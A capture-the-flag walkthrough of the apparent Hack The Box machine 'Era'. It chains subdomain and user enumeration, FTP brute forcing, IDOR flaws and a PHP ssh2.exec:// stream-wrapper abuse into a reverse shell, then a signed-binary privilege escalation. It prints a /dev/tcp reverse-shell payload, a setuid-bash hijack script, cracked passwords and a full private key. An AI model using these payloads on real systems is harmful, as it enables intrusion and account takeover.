RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.5
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0309B7B14DF62A797B431119ADB37B14
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Era Designs
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

An intriguing setup—no SSH on port 22, yet FTP is humming on 21.

Web App

The target is a sleek design firm—minimalistic web presence. Their front page lists a few prominent users:

htb_era_1

Though nothing else of interest stands out visually.

Subdomain

Thus we can perform a subdomain enumeration:

$ ffuf -c -u "http://era.htb" -H "Host: FUZZ.era.htb" -w ~/wordlists/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt -t 50 -fs 154

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /home/Axura/wordlists/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 226ms]
:: Progress: [7920/1613291] :: Job [1/1] :: 230 req/sec :: Duration: [0:00:38] :: Errors: 0 ::

Found file.era.htb, which is is a file management portal, complete with upload functionality. Login required.

htb_era_2

But wait—there's a backup keyhole.

An alternative login path via security question:

htb_era_3

Poking at it with invalid usernames returns a clean-cut: User not found.

htb_era_4

Which means... user enumeration is on the table.

Dirsearch

Classic dirsearch to spider through the subdomain:

$ dirsearch -u 'http://file.era.htb' -x 404

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/Axura/ctf/HTB/era/reports/http_file.era.htb/_25-07-26_19-51-54.txt

Target: http://file.era.htb/

[19:51:54] Starting:
[19:53:03] 301 -  178B  - /assets  ->  http://file.era.htb/assets/
[19:53:04] 403 -  564B  - /assets/
[19:53:28] 302 -    0B  - /download.php  ->  login.php
[19:53:35] 301 -  178B  - /files  ->  http://file.era.htb/files/
[19:53:35] 403 -  564B  - /files/
[19:53:35] 403 -  564B  - /files/cache/
[19:53:35] 403 -  564B  - /files/tmp/
[19:53:44] 301 -  178B  - /images  ->  http://file.era.htb/images/
[19:53:44] 403 -  564B  - /images/
[19:53:56] 200 -   34KB - /LICENSE
[19:53:58] 200 -    9KB - /login.php
[19:54:01] 200 -   70B  - /logout.php
[19:54:03] 302 -    0B  - /manage.php  ->  login.php
[19:54:27] 200 -    3KB - /register.php
[19:54:43] 302 -    0B  - /upload.php  ->  login.php

Task Completed

We found a register.php endpoint hidden from the website:

htb_era_10

And we can login the file management system after registering a new account:

htb_era_11

WEB

Brute Force

User Enumeration

The security question login triggers a POST /security_login.php request, visible via BurpSuite proxy:

htb_era_5

We forward this to Intruder and launch a brute-force on the username parameter using a proper wordlist:

htb_era_6

Enable the Grep feature to match against a known rejection string:

htb_era_7

Eventually, we uncover responses that bypass the "not found" keyword filter:

htb_era_8

Identified valid usernames:

eric
ethan
john
veronica
yuri

However, web login brute-force using rockyou.txt proved ineffective.

Password Cracking

Instead, we shift our focus to FTP authentication using the leaked usernames. Launching hydra:

Bash
hydra -L users.txt -P ~/wordlists/rockyou.txt ftp://era.htb -vV

We successfully retrieve Yuri's credentials:

htb_era_12

Login: yuri / mustang

FTP

We authenticate to the FTP service on port 21 using the compromised credentials and enumerate available directories:

$ ftp $target_ip
Connected to 10.129.132.62.
220 (vsFTPd 3.0.5)
Name (10.129.132.62:Axura): yuri
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.

lftp

To recursively retrieve all contents, we pivot to lftp:

Bash
lftp -u yuri ftp://era.htb

This shell-like client supports convenient exploration. We use mirror for full recursive download:

htb_era_17

Downloads

Apache Config

These are configuration files for Apache2 web server, which give us insight into:

  • apache2.conf: Main Apache config which controls global server behavior (e.g., directory permissions, includes, log paths).
  • 000-default.conf: Default site config under /etc/apache2/sites-available/. Handles virtual host setup (DocumentRoot, etc).
  • ports.conf: Specifies which ports Apache listens on (e.g., 80, 443, or custom).
  • file.conf: A custom config

PHP Extensions

The php8.1_conf/ directory reveals a stash of shared PHP 8.1 modules and build artifacts:

$ tree php8.1_conf

php8.1_conf
├── build
│   ├── ax_check_compile_flag.m4
│   ├── ax_gcc_func_attribute.m4
│   ├── gen_stub.php
│   ├── Makefile.global
│   ├── php_cxx_compile_stdcxx.m4
│   ├── phpize.m4
│   ├── php.m4
│   └── run-tests.php
├── calendar.so
├── ctype.so
├── dom.so
├── exif.so
├── ffi.so
├── fileinfo.so
├── ftp.so
├── gettext.so
├── iconv.so
├── opcache.so
├── pdo.so
├── pdo_sqlite.so
├── phar.so
├── posix.so
├── readline.so
├── shmop.so
├── simplexml.so
├── sockets.so
├── sqlite3.so
├── ssh2.so
...

Notable .so extensions include:

  • pdo_sqlite.so, opcache.so, readline.so
  • And notably: phar.so, ssh2.so, sockets.so

These shared objects are dynamically loaded into the PHP runtime via php.ini. From a hacker's lens, this collection screams attack vectors, especially in conjunction with common web vulns:

  1. phar.so
    • Abuse via: PHP deserialization (e.g., unserialize(file_get_contents('phar://...')))
    • Vuln vector: LFI → RCE when using a crafted phar file with a serialized object inside.
  2. ssh2.so
    • Abuse via: If app lets user control SSH connection details
    • Functionality exposed:
      • ssh2_connect(), ssh2_auth_password(), ssh2_exec()
    • Risk: If the app dynamically builds SSH sessions with weak input validation — game over.

We'll attempt to weaponize them by dropping malicious sources via the upcoming IDOR vulnerability.

IDOR

ID Enumeration

Once inside the file management system via our self-registered account, we upload a test file:

htb_era_13

It returns the download URL like http://file.era.htb/download.php?id=7638.

When we tamper with the id parameter, e.g., testing id=1, we get a clear rejection:

htb_era_14

Classic IDOR fingerprint. Time to bring in BurpSuite Intruder and fuzz the id parameter:

htb_era_15

Use the "File Not Found" message as a grep filter, and we quickly isolate valid hits:

htb_era_16

Aside from our own upload, two targets surface: IDs 150 and 54.

We pull and unpack both archives:

$ ll
total 2.0M
-rw-r--r-- 1 Axura Axura 2.7K Jul 26 20:24 signing.zip
-rw-r--r-- 1 Axura Axura 2.0M Jul 26 20:24 site-backup-30-08-24.zip

$ unzip signing.zip -d signing
Archive:  signing.zip
  inflating: signing/key.pem
  inflating: signing/x509.genkey
  
$ unzip site-backup-30-08-24.zip -d backup
Archive:  site-backup-30-08-24.zip
  inflating: backup/LICENSE
  inflating: backup/bg.jpg
   creating: backup/css/
  inflating: backup/css/main.css.save
  inflating: backup/css/main.css
  inflating: backup/css/fontawesome-all.min.css
  inflating: backup/css/noscript.css
   creating: backup/css/images/
 extracting: backup/css/images/overlay.png
  inflating: backup/download.php
  inflating: backup/filedb.sqlite
   creating: backup/files/
  inflating: backup/files/.htaccess
 extracting: backup/files/index.php
  inflating: backup/functions.global.php
  inflating: backup/index.php
  inflating: backup/initial_layout.php
  inflating: backup/layout.php
  inflating: backup/layout_login.php
  inflating: backup/login.php
  inflating: backup/logout.php
  inflating: backup/main.png
  inflating: backup/manage.php
  inflating: backup/register.php
  inflating: backup/reset.php
  
  ...

Downloads

Signing

The signing.zip drops two pivotal files related to certificate-based cryptography:

FileDescription
key.pemA private key (in PEM format) — used for signing certificates or JWTs, or enabling HTTPS.
x509.genkeyAn OpenSSL config file or key generation template

If the application signs requests, cookies, or tokens using this key—it's game over. We now possess the ability to forge trust.

Site Backup

The site-backup-30-08-24.zip is gold: a complete source + database dump:

$ tree backup

backup
├── bg.jpg
├── css
│   ├── fontawesome-all.min.css
│   ├── images
│   │   └── overlay.png
│   ├── main.css
│   ├── main.css.save
│   └── noscript.css
├── download.php
├── filedb.sqlite
├── files
│   └── index.php
├── functions.global.php
├── index.php
├── initial_layout.php
├── layout_login.php
├── layout.php
├── LICENSE
├── login.php
├── logout.php
├── main.png
├── manage.php
├── register.php
├── reset.php
├── ...

10 directories, 62 files

We can access the database using sqlite3:

$ sqlite3 backup/filedb.sqlite
SQLite version 3.49.1 2025-02-18 13:38:58
Enter ".help" for usage hints.

sqlite> .tables
files  users

sqlite> SELECT * FROM users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||

The password hashes are bcrypt-based, but thanks to low cost factors, we manage to crack eric and yuri:

eric: america
yuri: mustang

Same creds confirmed earlier via brute force, although the password for admin user admin_ef01cab31aa is not crackable.

Code Review

Now we have pulled down a lot of resources:

$ tree . -L2

.
├── apache2_conf
│   ├── 000-default.conf
│   ├── apache2.conf
│   ├── file.conf
│   └── ports.conf
├── backup
│   ├── bg.jpg
│   ├── css
│   ├── download.php
│   ├── filedb.sqlite
│   ├── files
│   ├── functions.global.php
│   ├── index.php
│   ├── initial_layout.php
│   ├── layout_login.php
│   ├── layout.php
│   ├── LICENSE
│   ├── login.php
│   ├── logout.php
│   ├── main.png
│   ├── manage.php
│   ├── register.php
│   ├── reset.php
│   ├── sass
│   ├── screen-download.png
│   ├── screen-login.png
│   ├── screen-main.png
│   ├── screen-manage.png
│   ├── screen-upload.png
│   ├── security_login.php
│   ├── upload.php
│   └── webfonts
├── php8.1_conf
│   ├── build
│   ├── calendar.so
│   ├── ctype.so
│   ├── dom.so
│   ├── exif.so
│   ├── ffi.so
│   ├── fileinfo.so
│   ├── ftp.so
│   ├── gettext.so
│   ├── iconv.so
│   ├── opcache.so
│   ├── pdo.so
│   ├── pdo_sqlite.so
│   ├── phar.so
│   ├── posix.so
│   ├── readline.so
│   ├── shmop.so
│   ├── simplexml.so
│   ├── sockets.so
│   ├── sqlite3.so
│   ├── ssh2.so
│   ├── sysvmsg.so
│   ├── sysvsem.so
│   ├── sysvshm.so
│   ├── tokenizer.so
│   ├── xmlreader.so
│   ├── xml.so
│   ├── xmlwriter.so
│   ├── xsl.so
│   └── zip.so
└── signing
    ├── key.pem
    └── x509.genkey

We can start some code auditing work on the found backup source code.

1. upload.php

We begin with upload.php, as it provides direct file input interaction — potential for upload-based exploitation.

PHP
if ($_POST['fsubmitted'] == "true") {

    $target_dir = "files/";

    // If the user is uploading multiple files, we'll ZIP them
    if (count($_FILES["upfile"]["name"]) > 1) {
        $target_file = $target_dir . "Era_User$currentUser " . date('Y-m-d H_i_s') . ".zip";
    } else {
        $target_file = $target_dir . basename($_FILES["upfile"]["name"][0]);
    }

    $uploadOk = true;
  • All uploaded files (and zips) are placed inside /files/ directory — predictable path.
  • Multi-upload = .zip file (named by user ID and timestamp).
  • Single file = kept as-is using basename() — allows user to control filename and extension.
  • No sanitization of extensions — .php, .phar, etc., are allowed in theory.
PHP
    // Check for harmful patterns
    if (strpos($target_file, "'") !== false || strpos($target_file, '"') !== false) {
        echo '<div class="upload-error">Error: Tampering attempt detected.</div>';
        $uploadOk = false;
    }

    $fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
  • Attempts to block ' and " in filenames. That's it.
  • No restriction on file types, content, or MIME — dangerously flexible.
PHP
       if ($file_upload_complete) {
            $newFileId = rand(1, 9999);
            while (in_array($newFileId, $fileListId)) {
                $newFileId = rand(1, 9999);
            }

            $current_date = time();

            $publish = contactDB("INSERT INTO files (fileid, filepath, fileowner, filedate)
                                  VALUES ($newFileId, '$target_file', $currentUser, $current_date);", 0);

            echo '<div class="upload-success">Upload Successful!</div>';

            $download_link = get_download_link($newFileId);
  • File metadata stored in SQLite files table, with fileid as primary reference.
  • The fileid is chosen randomly between 1–9999, creating an easy-to-brute IDOR vector.
  • Users get back a clean download URL via get_download_link().

This script allows uploading arbitrary file types — including .php or .phar — but under current conditions, it's not exploitable:

  • The uploaded files are stored in a non-executable directory (/files/), preventing .php execution.
  • There's no Local File Inclusion (LFI) to load uploaded payloads.
  • No usage of unserialize() on user-controlled phar:// paths has been found so far.

Conclusion: although the upload logic is insecure, it's not exploitable in this context.

2. download.php

The download.php comes after the upload.php workflow.

The top section of the code handles file downloading securely except for for the found and leveraged IDOR vulnerability, which has no authentication or ownership check before allowing users to access any file by ID:

PHP
if (!isset($_GET['id'])) {
	header('location: index.php'); // user loaded without requesting file by id
	die();
}

if (!is_numeric($_GET['id'])) {
	header('location: index.php'); // user requested non-numeric (invalid) file id
	die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

If the requested file exists, it proceeds to return it:

PHP
$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
	echo deliverTop("Era - Download");

	echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

	echo deliverBottom();
} else {
	$fileName = str_replace("files/", "", $fetched[0]);


	// Allow immediate file download
	if ($_GET['dl'] === "true") {

		header('Content-Type: application/octet-stream');
		header("Content-Transfer-Encoding: Binary");
		header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
		readfile($fetched[0]);    
        
    ...
        
}

Despite the dl=true parameter not being visible in the URL, it's injected programmatically via the HTML source:

htb_era_18

This behavior is confirmed in the server-side logic — the last else code block for "simple download":

htb_era_19

Now, the interesting part begins under the show=true branch (framed with purple) — only active for admin user (erauser === 1). This code block exposes a dangerous logic flaw:

PHP
// Check if it's a wrapper (://)
if (strpos($format, '://') !== false) {
    // Treats it as a protocol wrapper
    // e.g. http://, file://, php://, etc.
    $wrapper = $format;
    header('Content-Type: application/octet-stream');
} else {
    $wrapper = '';
    header('Content-Type: text/html');
}

try {
    // Build the final file path
    $file = $fetched[0];
    // If a wrapper is set
    // [!] This constructs an arbitrary protocol + file path.
	$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
    
    ...
        
}

Here, the $wrapper string is fully attacker-controlled. By setting format=file://, php://, ssh2://, etc., an admin user can retrieve arbitrary resources using stream wrappers — this is a textbook Arbitrary Protocol File Read (APFR) vulnerability.

Thanks to the presence of ssh2.so and phar.so, and assuming they're enabled, this opens potential for:

  • LFI (file://)
  • PHP filter chain (php://filter) oracle
  • SSRF / RCE (ssh2://)

3. reset.php

BBefore exploiting the Arbitrary Protocol Execution, we must escalate our privileges to the admin account.

Here comes reset.php — an unprotected IDOR:

htb_era_20

There's no check to prevent a low-privileged user from changing the security question answers of any account, including the admin admin_ef01cab31aa. By resetting the admin's answers and then using the /security_login.php endpoint (previously discovered), we can hijack the admin account.

Exploit

With all the pieces aligned, we can now construct a full attack chain to gain Remote Code Execution (RCE):

       ┌───────────────────┐
       │     1. IDOR       │
       └─────────┬─────────┘

Reset admin's security Qs via `reset.php`


     ┌──────────────────────┐
     │ 2. Login as Admin    │
     └───────────┬──────────┘

Use `security_login.php` with forged answers
   to gain session as `erauser = 1`


     ┌────────────────────────┐
     │ 3. Abuse fopen Wrapper │
     └───────────┬────────────┘

Access `download.php?id=X&show=true&format=ssh2.exec://user@attacker/command`


       ┌───────────────────┐
       │ 4. Achieve RCE    │
       └───────────────────┘
Victim executes the command over SSH via
     `fopen("ssh2.exec://...")` 

1. IDOR

We begin by exploiting the insecure direct object reference in reset.php.

Capture the POST request in BurpSuite Repeater and replace the username with admin_ef01cab31aa:

htb_era_21

This lets us overwrite the admin's security question answers.

2. Admin Impersonation

Once reset, use the security_login.php endpoint to impersonate the admin:

htb_era_22

After login, upload a dummy file to generate a valid file ID. Capture the download request and the admin session cookie in Burp:

htb_era_23

Forward the request to Repeater and test the wrapper logic using the file:// protocol (with any existing ID like 54 or 150):

htb_era_24

This confirms we've reached the stream wrapper execution path under admin privileges.

3. Abuse SSH2 Stream

PHP | ssh2://

Since ssh2.so is enabled (confirmed via the downloaded PHP config), we can leverage the ssh2.exec:// protocol, which opens an SSH connection and executes a remote command.

From PHP docs, available stream wrappers include:

  • ssh2.shell://
  • ssh2.exec://
  • ssh2.tunnel://
  • ssh2.sftp://
  • ssh2.scp://

This means we can achieve remote command execution via ssh2.exec://:

ssh2.exec://user:[email protected]:22/usr/local/bin/some_command

This example opens an SSH connection to example.com, authenticates, and runs some_command.

SSRF to RCE

This is effectively an SSRF primitive with protocol smuggling, leading to command execution.

We can craft a payload to execute a reverse shell by targeting the local SSH service and authenticating as yuri (whose credentials we cracked earlier):

ssh2.exec://yuri:[email protected]:22/bash -c "bash -i >& /dev/tcp/10.10.12.7/4444 0>&1";

Paste this into the Burp Repeater URL and URL-encode it (Ctrl+U) in the format= parameter:

htb_era_25

Start a listener in advance, and fire the request. The target executes the command via fopen("ssh2.exec://..."), giving us a reverse shell as yuri:

htb_era_26

USER

The user flag is located under Eric's home directory. Since we know his password (america), we can simply switch to him using su - eric and retrieve the flag:

htb_era_27

ROOT

First, ensure a stable shell as user eric:

Bash
script -c bash /dev/null

Internal Enum

LinPEAS

╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root eric 33 Jul 27 01:12 /home/eric/user.txt
-rwxrw---- 1 root devs 16544 Jul 27 08:15 /opt/AV/periodic-checks/monitor
-rw-rw---- 1 root devs 103 Jul 27 08:15 /opt/AV/periodic-checks/status.log

╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxrwxr-x  3 root root 4096 Jul 22 08:42 .
drwxr-xr-x 20 root root 4096 Jul 22 08:41 ..
drwxrwxr--  3 root devs 4096 Jul 22 08:42 AV

╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/home/eric/.gnupg/trustdb.gpg
/home/eric/.gnupg/pubring.kbx
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log

It strongly suggest something is interesting under /opt:

eric@era:~$ ls -aRhl /opt

/opt:
total 12K
drwxrwxr-x  3 root root 4.0K Jul 22 08:42 .
drwxr-xr-x 20 root root 4.0K Jul 22 08:41 ..
drwxrwxr--  3 root devs 4.0K Jul 22 08:42 AV

/opt/AV:
total 12K
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 .
drwxrwxr-x 3 root root 4.0K Jul 22 08:42 ..
drwxrwxr-- 2 root devs 4.0K Jul 27 08:22 periodic-checks

/opt/AV/periodic-checks:
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 27 08:22 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs  17K Jul 27 08:22 monitor
-rw-rw---- 1 root devs  205 Jul 27 08:22 status.log

We observe that monitor is a root-owned binary, but both it and status.log are group-writable by devs, which eric is a member of — clearly a lead for privilege escalation.

Primitives

1. Binary Hijack

Check the binary details:

eric@era:~$ file /opt/AV/periodic-checks/monitor

/opt/AV/periodic-checks/monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped

The binary monitor is executed by root, but because the devs group has write access to its parent directories, and eric is in devs, we can freely rename or replace it:

eric@era:/opt/AV/periodic-checks$ chmod +x monitor
chmod: changing permissions of 'monitor': Operation not permitted

eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak
mv monitor monitor.bak

eric@era:/opt/AV/periodic-checks$ ll
drwxrwxr-- 2 root devs  4096 Jul 27 08:26 ./
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ../
-rwxrw---- 1 root devs 16544 Jul 27 08:26 monitor.bak
-rw-rw---- 1 root devs   307 Jul 27 08:26 status.log

This sets up a classic binary hijack scenario, where we can insert a payload and wait for it to be executed with elevated privileges.

2. Scheduled Task

We observe regular updates to status.log, clearly produced by the monitor binary:

eric@era:~$ cat /opt/AV/periodic-checks/status.log

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.

This indicates:

  • A privileged scheduled task (likely by root) is running monitor.
  • Since we can replace monitor, this gives us control over what gets executed as root.

To confirm, we run pspy and observe periodic executions:

htb_era_28

The root user is clearly performing regular monitoring — giving us a reliable execution vector for privilege escalation.

3. Signature

Self Signed

However, replacing monitor isn't enough — because it's protected by a signature verification mechanism.

If we tried to replace it with a simple bash script:

eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak

eric@era:/opt/AV/periodic-checks$ echo -e '#!/bin/bash\nchmod +s /bin/bash' > monitor

eric@era:/opt/AV/periodic-checks$ ls
monitor  monitor.bak  status.log

eric@era:/opt/AV/periodic-checks$ cat monitor
#!/bin/bash
chmod +s /bin/bash

The status.log records the error of recent execution:

eric@era:/opt/AV/periodic-checks$ cat status.log

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.

This tells us that the binary must be a valid ELF file with a cryptographic signature.

To be notice, the signature is expected inside the ELF file itself — not as an external .sig or .pem. We can confirm this by checking for custom ELF sections:

eric@era:/opt/AV/periodic-checks$ readelf -S /opt/AV/periodic-checks/monitor | grep -i sig

  [28] .text_sig         PROGBITS         0000000000000000  00003040

The ELF binary contains a custom section named .text_sig. When the system runs the monitor binary via the scan logic (e.g., initiate_monitoring.sh), it extracts this .text_sig section, via objcopy as indicated, and verifies it against the binary's actual .text segment.

Thus we can use objdump to inspect the section data:

$ objdump -s -j .text_sig monitor

monitor:     file format elf64-x86-64

Contents of section .text_sig:
 0000 308201c6 06092a86 4886f70d 010702a0  0.....*.H.......
 0010 8201b730 8201b302 0101310d 300b0609  ...0......1.0...
 0020 60864801 65030402 01300b06 092a8648  `.H.e....0...*.H
 0030 86f70d01 07013182 01903082 018c0201  ......1...0.....
 0040 01306730 4f311130 0f060355 040a0c08  .0g0O1.0...U....
 0050 45726120 496e632e 31193017 06035504  Era Inc.1.0...U.
 0060 030c1045 4c462076 65726966 69636174  ...ELF verificat
 0070 696f6e31 1f301d06 092a8648 86f70d01  ion1.0...*.H....
 0080 09011610 79757269 76696368 40657261  ....yurivich@era
 0090 2e636f6d 02146d63 4aa981e1 93a1e448  .com..mcJ......H
 00a0 c5205ff7 9b84e6b6 f50b300b 06096086  . _.......0...`.
 00b0 48016503 04020130 0d06092a 864886f7  H.e....0...*.H..
 00c0 0d010101 05000482 01006a8d 5090e77a  ..........j.P..z
 00d0 a22431d3 e629241a c7eec906 dce87592  .$1..)$.......u.
 00e0 c90733b8 5ea5c466 db04a35a 28648853  ..3.^..f...Z(d.S
 00f0 00f2775c fbe983ae 833d2c36 7030985a  ..w\.....=,6p0.Z
 0100 b5d9ae28 cfbf75db 8e402955 c9bef8d3  ...(..u..@)U....
 0110 058e6ee1 1eb435bb 30a3056d b85074bc  ..n...5.0..m.Pt.
 0120 4e15fc44 0a57e3f6 2f4b5ecd 0e6b222d  N..D.W../K^..k"-
 0130 c4039189 2c7ded05 fe45a3e9 c00f0610  ....,}...E......
 0140 f8a653ab f72571aa cbf2ff38 238658d0  ..S..%q....8#.X.
 0150 8dcfba33 1c6d2092 8c01c77d 4e49ea94  ...3.m ....}NI..
 0160 670c9de9 42779e09 67143d81 49209fc1  g...Bw..g.=.I ..
 0170 24005880 04c7cebf d398ec6d 55b50333  $.X........mU..3
 0180 db46f2ab 74e6aa24 e9dc76d2 c9c4183b  .F..t..$..v....;
 0190 991bc0f4 762b1c09 1d82317c aab31e88  ....v+....1|....
 01a0 dfc04871 2bb9ac8a 0dbb6cd7 cd6bdcaa  ..Hq+.....l..k..
 01b0 c96c2afe faa17944 ebdd7a6e 6f2e91da  .l*...yD..zno...
 01c0 5e41e0e6 5ddeec93 47ee               ^A..]...G.

The output shows a typical ASN.1 DER-encoded structure, including fields like:

  • Era Inc. (Issuer)
  • ELF verification (CN)
  • [email protected] (email)
  • A long RSA signature blob

This confirms the system is validating binaries by extracting .text_sig and verifying its integrity. Any unsigned or tampered binary will be rejected.

OpenSSL Config

Earlier, we discovered a signing setup in the FTP share:

$ tree signing

signing
├── key.pem
└── x509.genkey

The x509.genkey is an OpenSSL config used to generate a self-signed certificate, matching the metadata in .text_sig:

[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = [email protected]

[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid

This matches what we saw in the signature.

The [ myexts ] section confirms it's intended for digital signature use only — no CA functionality.

RSA Private Key

As for the actual private key:

$ file key.pem

key.pem: OpenSSH private key (no password)

Despite that, running:

$ openssl rsa -in key.pem -check

RSA key ok
writing RSA key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----

…confirms it's a valid RSA private key, usable with OpenSSL for signing operations.

The private key corresponds to the public key embedded in the signature verification logic — likely either compiled into the script or extracted from a trusted store. This means we can re-sign any custom ELF that we build, provided we preserve the .text_sig format expected by the checker.

Exploit

Now we know: to hijack the privileged monitor binary, we must sign our payload using the Era Inc. signature scheme.

If you are familiar with binex, Linux ELF binaries do not contain .text_sig by default — so this section must have been added post-compilation.

